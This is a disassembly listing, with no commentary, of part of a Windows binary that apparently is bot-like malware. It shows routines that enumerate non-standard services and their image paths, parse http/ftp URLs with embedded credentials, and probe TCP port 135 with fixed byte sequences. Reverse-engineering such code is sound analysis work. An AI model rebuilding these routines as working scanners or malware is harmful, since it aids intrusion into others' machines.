mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_41EDFF: ; CODE XREF: sub_41EDB0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset aMdm ; "MDM" mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_4013CF lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, ds:dword_4B372C push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx call ds:dword_4B3AB0 add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_41F15F mov ebp, ds:dword_4B3770 loc_41F03B: ; CODE XREF: sub_41EDB0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_41F067 lea esi, [esp+524h+var_4E0] loc_41F048: ; CODE XREF: sub_41EDB0+2B5j mov ecx, [edi] push ecx push eax call ds:dword_4B3AFC add esp, 8 test eax, eax jz loc_41F143 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_41F048 loc_41F067: ; CODE XREF: sub_41EDB0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_4015F5 push eax push 80000002h call ebp cmp eax, ebx jz short loc_41F0B3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_41F10A ; --------------------------------------------------------------------------- loc_41F0B3: ; CODE XREF: sub_41EDB0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax call ds:dword_4B3738 cmp eax, ebx jz short loc_41F0ED mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_41F10A ; --------------------------------------------------------------------------- loc_41F0ED: ; CODE XREF: sub_41EDB0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_41F10A: ; CODE XREF: sub_41EDB0+301j ; sub_41EDB0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_40146F mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_4012E4 lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_4011F9 loc_41F143: ; CODE XREF: sub_41EDB0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_41F03B mov ebp, [esp+524h+var_4FC] loc_41F15F: ; CODE XREF: sub_41EDB0+27Fj push ebp call ds:dword_4B3760 lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_41EDB0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F2A0 proc near ; CODE XREF: sub_401578j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 call ds:dword_4B38C0 push eax call ds:dword_4B38C4 mov eax, esi pop esi retn sub_41F2A0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F2D0 proc near ; CODE XREF: sub_401942j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_41F309 loc_41F2F2: ; CODE XREF: sub_41F2D0+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_41F2F2 cmp ecx, 0 jz short loc_41F31A loc_41F309: ; CODE XREF: sub_41F2D0+20j ; sub_41F2D0+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_41F309 loc_41F31A: ; CODE XREF: sub_41F2D0+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_41F2D0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41F370: ; CODE XREF: _294ADE7B:00401019j mov eax, [esp+4] mov ds:dword_4AFD14, eax mov eax, offset dword_4AFD14 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41F390: ; CODE XREF: _294ADE7B:004016CCj push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, ds:dword_4B3A80 push esi call edi mov ebp, ds:dword_4B3A7C push 2 push 0 push esi mov ebx, eax call ebp push esi call edi push 0 push ebx push esi mov edi, eax call ebp add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F3E0 proc near ; CODE XREF: sub_401861j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41F3E0 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_41F40F xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F40F: ; CODE XREF: sub_41F3E0+26j lea ecx, [esp+90h+var_84] call sub_4013CF push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_401564 push offset asc_43BB68 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_401622 mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401E65 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 push offset aHttp ; "http" mov ecx, esi call sub_4012B7 test eax, eax jz short loc_41F49F push offset aFtp ; "ftp" mov ecx, esi call sub_4012B7 test eax, eax jz short loc_41F49F lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F49F: ; CODE XREF: sub_41F3E0+92j ; sub_41F3E0+A2j push offset asc_43C2EC ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_401622 push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401BFE lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_4011F9 cmp edi, ebx push offset asc_43C2EC ; "/" push 1 jz loc_41F7DC lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_401622 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_401622 push offset asc_43BB68 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_401622 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401E65 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_4011F9 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 push offset byte_43FDC8 mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_41F599 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F599: ; CODE XREF: sub_41F3E0+19Cj push offset asc_43C2EC ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_401622 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_401622 push offset asc_43BB68 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_401622 mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_401726 push eax call ds:dword_4B3AEC add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_4011F9 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 cmp [esi+54h], ebx jnz short loc_41F665 push offset aHttp ; "http" mov ecx, esi call sub_4012B7 test eax, eax jnz short loc_41F64E mov dword ptr [esi+54h], 50h loc_41F64E: ; CODE XREF: sub_41F3E0+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012B7 test eax, eax jnz short loc_41F665 mov dword ptr [esi+54h], 15h loc_41F665: ; CODE XREF: sub_41F3E0+255j ; sub_41F3E0+27Cj push offset asc_43C2EC ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_401622 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_401622 push offset asc_43BB68 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_401622 lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401E65 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_4011F9 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 push offset byte_43FDC8 mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_41F71E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F71E: ; CODE XREF: sub_41F3E0+321j push offset asc_43C2EC ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_401622 push offset a@ ; "@" lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_401622 push offset asc_43BB68 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_401622 lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401E65 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_4011F9 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 push offset byte_43FDC8 mov ecx, edi call sub_4012B7 test eax, eax jnz loc_41F903 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F7DC: ; CODE XREF: sub_41F3E0+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_401622 push offset asc_43BB68 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_401622 lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401E65 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 push offset byte_43FDC8 mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_41F863 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 xor al, al jmp loc_41F9E9 ; --------------------------------------------------------------------------- loc_41F863: ; CODE XREF: sub_41F3E0+466j push offset asc_43C2EC ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_401622 push offset asc_43BB68 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_401622 mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_401726 push eax call ds:dword_4B3AEC add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_4011F9 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 cmp [esi+54h], ebx jnz short loc_41F903 push offset aHttp ; "http" mov ecx, esi call sub_4012B7 test eax, eax jnz short loc_41F8EC mov dword ptr [esi+54h], 50h loc_41F8EC: ; CODE XREF: sub_41F3E0+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012B7 test eax, eax jnz short loc_41F903 mov dword ptr [esi+54h], 15h loc_41F903: ; CODE XREF: sub_41F3E0+3DBj ; sub_41F3E0+4F3j ... push offset asc_43C2EC ; "/" lea ecx, [esp+94h+var_84] call sub_40138E lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401CF8 push offset asc_43C2EC ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_40138E push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401CF8 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_401EAB lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_4011F9 push offset asc_43C2EC ; "/" lea ecx, [esp+94h+var_6C] call sub_40138E lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401CF8 push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_401EAB lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_4011F9 add esi, 58h push offset asc_43C2EC ; "/" mov ecx, esi call sub_401564 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_40162C lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_4011F9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_4011F9 mov al, 1 loc_41F9E9: ; CODE XREF: sub_41F3E0+2Aj ; sub_41F3E0+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_41F3E0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FBA0 proc near ; CODE XREF: sub_401A0Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_41FBCB loc_41FBB4: ; CODE XREF: sub_41FBA0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_41FBD2 inc eax cmp eax, edx jl short loc_41FBB4 loc_41FBCB: ; CODE XREF: sub_41FBA0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FBD2: ; CODE XREF: sub_41FBA0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_41FBA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FBF0: ; CODE XREF: _294ADE7B:00401F23j mov eax, 2010h call sub_430390 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_41FC3D dec eax jz short loc_41FC17 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_41FC17: ; CODE XREF: _294ADE7B:0041FC08j mov eax, [esp+2020h] push 1388h push eax call sub_401EA1 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_41FC3D: ; CODE XREF: _294ADE7B:0041FC05j push 6 push 1 push 2 call ds:dword_4B3CAC mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41FD99 cmp esi, 0FFFFFFFFh jz loc_41FD99 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx call ds:dword_4B3CB0 mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_4017C1 add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi call ds:dword_4B3CB4 cmp eax, 0FFFFFFFFh jz loc_41FD92 mov ebp, ds:dword_4B3C9C push 0 push 48h push offset dword_43BCAC push esi call ebp cmp eax, 0FFFFFFFFh jz loc_41FD92 mov edi, ds:dword_4B3C6C push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi cmp eax, 0FFFFFFFFh jz loc_41FD92 cmp byte ptr [esp+1Eh], 0Ch jnz loc_41FD92 push 0 push 18h push offset dword_43BD20 push esi call ebp cmp eax, 0FFFFFFFFh jz loc_41FD92 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41FD92 cmp byte ptr [esp+1Eh], 2 jnz short loc_41FD92 push 10h push offset dword_43BCF8 lea eax, [esp+24h] push edi push eax call sub_401A0A add esp, 10h test al, al jz short loc_41FD61 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx call ds:dword_4B3CA8 mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_41FD61: ; CODE XREF: _294ADE7B:0041FD3Ej push 10h push offset dword_43BD0C lea edx, [esp+24h] push edi push edx call sub_401A0A add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax call ds:dword_4B3CA8 mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_41FD92: ; CODE XREF: _294ADE7B:0041FCABj ; _294ADE7B:0041FCC6j ... push esi call ds:dword_4B3CA8 loc_41FD99: ; CODE XREF: _294ADE7B:0041FC4Ej ; _294ADE7B:0041FC57j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FE20: ; CODE XREF: _294ADE7B:00401924j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FE40: ; CODE XREF: _294ADE7B:00401145j ; _294ADE7B:loc_40190Bj push esi mov esi, ecx call sub_401550 test byte ptr [esp+8], 1 jz short loc_41FE58 push esi call sub_430332 add esp, 4 loc_41FE58: ; CODE XREF: _294ADE7B:0041FE4Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE70 proc near ; CODE XREF: sub_401550j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41FE70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_4370B0 lea ecx, [esi+7Ah] mov [esp+14h+var_4], 5 call sub_4011F9 lea ecx, [esi+65h] mov byte ptr [esp+14h+var_4], 4 call sub_4011F9 lea ecx, [esi+50h] mov byte ptr [esp+14h+var_4], 3 call sub_4011F9 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401EC9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41FE70 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_4011E5j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4012D0 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010CD pop esi pop ecx retn 4 sub_41FF40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF80 proc near ; CODE XREF: sub_401807j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40182A mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_41FF80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FFC0 proc near ; CODE XREF: sub_40175Dj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401898 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40147E mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_4018BB mov edx, [esi+4] mov ecx, esi push edx call sub_401870 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_41FFC0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420030 proc near ; CODE XREF: sub_40147Ej arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401EE2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_420030 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420070 proc near ; CODE XREF: sub_401898j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D84 mov eax, esi pop esi retn 4 sub_420070 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200A0 proc near ; CODE XREF: sub_401FDCj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401898 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401825 pop esi pop ecx retn 4 sub_4200A0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200E0 proc near ; CODE XREF: sub_40166Dj push esi mov esi, ecx call sub_401910 mov eax, esi pop esi retn sub_4200E0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420100 proc near ; CODE XREF: sub_4011FEj mov eax, [ecx] push eax call sub_4010DC add esp, 4 retn sub_420100 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420120 proc near ; CODE XREF: sub_401078j push esi mov esi, ecx mov eax, [esi] push eax call sub_401EE2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_420120 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420150 proc near ; CODE XREF: sub_401749j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E9C neg al sbb eax, eax inc eax retn 4 sub_420150 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420180 proc near ; CODE XREF: sub_40164Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4011EA mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_420180 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4201C0 proc near ; CODE XREF: sub_401226j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401398 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401406 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_402022 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn 